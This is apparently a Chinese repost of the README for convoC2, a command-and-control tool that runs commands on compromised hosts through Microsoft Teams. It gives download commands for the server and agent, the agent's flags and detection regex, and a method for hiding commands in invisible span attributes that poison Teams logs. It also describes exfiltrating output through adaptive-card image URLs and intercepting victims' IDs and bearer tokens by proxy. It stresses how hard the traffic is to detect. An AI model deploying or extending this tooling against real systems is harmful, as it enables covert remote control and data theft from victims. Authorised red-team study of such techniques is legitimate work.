目录导航
convoC2简介
convoC2 允许红队成员通过 Microsoft Teams 在受感染的主机上执行系统命令。
它将数据渗透到 Microsoft Teams 消息中隐藏的 span 标签中,并将命令输出泄露到自适应卡图像 URL 中,从而触发对 C2 服务器的越界请求。
受害者和攻击者之间不进行直接通信,再加上受害者只向 Microsoft 服务器发送 http 请求,而防病毒软件不会查看 MS Teams 日志文件,这使得检测更加困难。
演示
以下视频演示了如何使用该服务器控制两台被攻陷的主机:一台在 Windows 11 上运行新版 Teams,另一台在 Windows 10 上运行旧版 Teams。在第一种情况下,攻击者与受害者不在同一个组织中。
注意:在第一种情况下,受害者已经接受了与外部攻击者的聊天,但在攻击者首次与受害者开始聊天的真实情况下,受害者需要确认与攻击者的聊天(尽管可以轻松绕过此警报消息,请参阅
此处)。这不是问题:因为消息无论如何都会缓存在日志文件中,
即使受害者尚未看到或接受聊天,也会收到并执行命令。
用法
服务器
wget https://github.com/cxnturi0n/convoC2/releases/download/v0.1.0-alpha/convoC2_server_amd64.tar.gz
tar -xzvf convoC2_server_amd64.tar.gz --one-top-level
root@convoC2-server-VPS:~# ./convoC2_server_amd64 -h
Usage of convoC2 server:
-t, --msgTimeout How much to wait for command output (default 30 s)
-b, --bindIp Bind IP address (default 0.0.0.0)
Agent
wget https://github.com/cxnturi0n/convoC2/releases/download/v0.1.0-alpha/convoC2_agent.tar.gz
tar -xzvf convoC2_agent.tar.gz --one-top-level
C:\Windows>convoC2_agent.exe -h
Usage of convoC2 agent:
-v, --verbose Verbose logging (default false)
-s, --server C2 server URL (i.e. http://10.11.12.13/)
-t, --timeout Teams log file polling timeout [s] (default 1)
-w, --webhook Teams Webhook POST URL
-r, --regex Regex to match command (default "<span[^>]*aria-label=\"([^\"]*)\"[^>]*></span>")
要求
为了使其正常工作,您需要设置一些东西:
- 使用工作流传入 Webhook 创建团队频道:这是接收包含输出的自适应卡的地方。使用服务器时,务必保持浏览器窗口处于此通道打开状态,否则服务器将不会收到来自代理的消息。
- 获取 ID 和身份验证令牌:Teams 使用 POST 初始化聊天,并
https://teams.microsoft.com/api/chatsvc/emea/v1/threads
在正文中包含受害者和攻击者的唯一 ID。在响应中,threadId 将在 Location 标头 URL 的路径中返回。同一请求的 Bearer 令牌用于对 进行身份验证https://teams.microsoft.com/api/chatsvc/emea/v1/users/ME/conversations/<threadId>/messages
,这是发送消息的端点。所以我们只需要抓住这三件事,服务器会处理剩下的事情。 - 确保您有一个面向公众的主机,允许端口 80 上的入站 HTTP 流量。
- Teams 需要在受害者主机上运行,在后台运行也可以。
启动服务器后,您可以接收新代理并控制它们,使用之前获得的数据进行身份验证。查看演示以获取使用示例。
使用工作流传入 Webhook 创建团队频道
首先,您需要创建一个 Teams 频道。
右键单击三个点,然后单击“工作流”。
在搜索栏中输入“Webhook”,然后单击“收到 webhook 请求时发布到频道”。
继续默认设置,最后复制url。
获取 ID 和身份验证令牌
首先寻找受害者。
选择受害者账户后,通过 Web 代理拦截请求,您可以发送虚拟消息。
保存请求中存在的两个 ID,api/chatsvc/emea/v1/threads
然后删除该请求。身份验证令牌将是同一请求的 Bearer 令牌。
灵感
该基础设施的灵感来自Bobbyrsec对Teams GIFShell 的研究。 最初我的目的是复制该问题,但解决方案似乎已部分修复。这项研究涉及将命令注入 Base64 编码的 GIF,但这些命令不再正确显示:聊天中会出现损坏图像的图标,导致受害者开始怀疑。 在测试了各种方法之后,我注意到可以将命令直接嵌入消息中而不是 GIF 或图像中:与发送简单消息相比,发送多张图片更容易引起怀疑,对吗?最初我考虑将命令嵌入、或自定义标签等标签中,但都被过滤掉了。最终,将命令嵌入到带有的标签的属性中成功了:受害者只会看到消息,但隐藏的命令实际上会毒害 Teams 日志文件。<script>
<meta>
aria-label
<span>
display:none
服务器 TUI 是使用出色的 Go BubbleTea 框架开发的。
贡献
如果您发现错误或想要改进项目,请随时打开拉取请求,我将很乐意审核并最终合并您的更改。
短期待办事项包括:
- 消息AES加密
- 通过 Keepalive 来检测代理何时死亡
- 代理的 Powershell 版本
下载地址
项目地址
GitHub:
https://github.com/cxnturi0n/convoC2
转载请注明出处及链接